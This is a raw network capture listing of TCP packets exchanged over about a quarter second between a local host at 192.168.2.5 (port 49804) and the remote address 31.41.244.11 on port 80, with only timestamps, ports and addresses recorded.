Dec 18, 2024 21:30:18.601682901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.601820946 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.601860046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.602546930 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.602673054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.602739096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.602799892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.603478909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.603530884 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.603667974 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.603848934 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.604443073 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.604633093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.604692936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.605489969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.605595112 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.605680943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.605767012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.606229067 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.606301069 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.606553078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.606671095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.607219934 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.607259989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.607448101 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.607608080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.608127117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.608211040 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.608344078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.608428955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.609040976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.609292030 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.609699965 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.610054970 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.610214949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.610932112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.611140013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.611165047 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.611192942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.611902952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.612008095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.612137079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.612175941 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.612771034 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.612884998 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.612971067 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.613132954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.613712072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.613831043 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.613960028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.614073038 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.614615917 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.614656925 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.614824057 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.614906073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.615566969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.615688086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.615777969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.615993977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.616466999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.616513014 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.616668940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.616744995 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.617403984 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.617477894 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.617630959 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.617687941 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.618439913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.618520021 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.618592978 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.618632078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.619290113 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.619355917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.619533062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.619734049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.620569944 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.620625973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.620786905 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.620889902 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.621567011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.621685028 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.621774912 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.621928930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.622473001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.622539043 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.622587919 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.622705936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.623080015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.623183966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.623264074 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.623337984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.623903036 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.623950005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.624267101 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.624304056 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.624901056 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.625015020 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.625143051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.625227928 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.625863075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.626002073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.626027107 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.626077890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.626761913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.626858950 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.627046108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.627099037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.627669096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.627711058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.627872944 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.628006935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.628619909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.628679991 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.628838062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.628884077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.629492998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.629553080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.629715919 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.629765987 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.630481005 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.630542994 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.630631924 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.630676985 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.631371021 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.631534100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.631659031 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.631836891 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.632294893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.632370949 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.632484913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.632628918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.633270025 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.633327007 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.633421898 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.633578062 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.634144068 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.634186029 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.777908087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.778068066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.778096914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.778191090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.778508902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.778608084 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.778887987 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.778932095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.779102087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.779258966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.779536963 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.779637098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.779912949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.779983044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.780340910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.780442953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.780822992 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.780901909 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.781138897 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.781224012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.781819105 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.781936884 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.782083035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.782129049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.782680035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.782732010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.782886028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.782962084 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.783607960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.783737898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.783854008 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.783929110 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.784573078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.784635067 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.784801960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.784909964 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.785626888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.785674095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.785854101 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.786000967 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.786408901 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.786498070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.786652088 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.786736012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.787379026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.787451029 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.787540913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.787655115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.788301945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.788373947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.788506985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.788568974 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.789239883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.789366961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.789403915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.789540052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.790133953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.790263891 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.790357113 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.790405035 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.791073084 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.791153908 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.791292906 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.791335106 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.794106007 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.794306993 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.794358015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.794374943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.794431925 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.795134068 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.795150995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.795219898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.795219898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.795948982 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.796010017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.796340942 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.796356916 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.796402931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.796402931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.797095060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.797110081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.797139883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.797213078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.797981977 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.797997952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.798062086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.798062086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.798686981 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.798702002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.798738956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.798762083 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.799520016 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.799535990 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.799590111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.799590111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.800266027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.800282955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.800338984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.800338984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.801023960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.801125050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.801436901 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.801537037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.801861048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.801877975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.801925898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.801925898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.802643061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.802751064 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.803006887 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.803098917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.803404093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.803493023 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.803817987 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.803894043 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.804183006 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.804289103 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.804584026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.804661989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.805016994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.805064917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.805423975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.805491924 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.806054115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.806124926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.806221008 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.806330919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.806873083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.807005882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.807070971 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.807157993 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.807790041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.807857037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.808017969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.808128119 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.808723927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.808821917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.809014082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.809102058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.809709072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.809786081 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.809973955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.810039997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.810587883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.810826063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.810837984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.810867071 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.811517000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.811573982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.811758041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.811855078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.812460899 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.812529087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.812697887 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.812817097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.813431025 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.813535929 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.813684940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.813786983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.814332962 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.814388990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.814565897 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.814620972 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.815220118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.815334082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.815445900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.815551043 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.816147089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.816229105 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.816375971 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.816436052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.817204952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.817297935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.817425013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.817529917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.818185091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.818239927 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.818496943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.818622112 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.819232941 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.819294930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.819638014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.819720984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.820065975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.820123911 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.820485115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.820571899 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.820839882 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.821187973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.821252108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.821351051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.821784973 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.821858883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.822050095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.822117090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.822716951 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.822774887 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.822901011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.823028088 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.823592901 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.823714018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.823806047 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.823856115 CET	49804	80	192.168.2.5	31.41.244.11
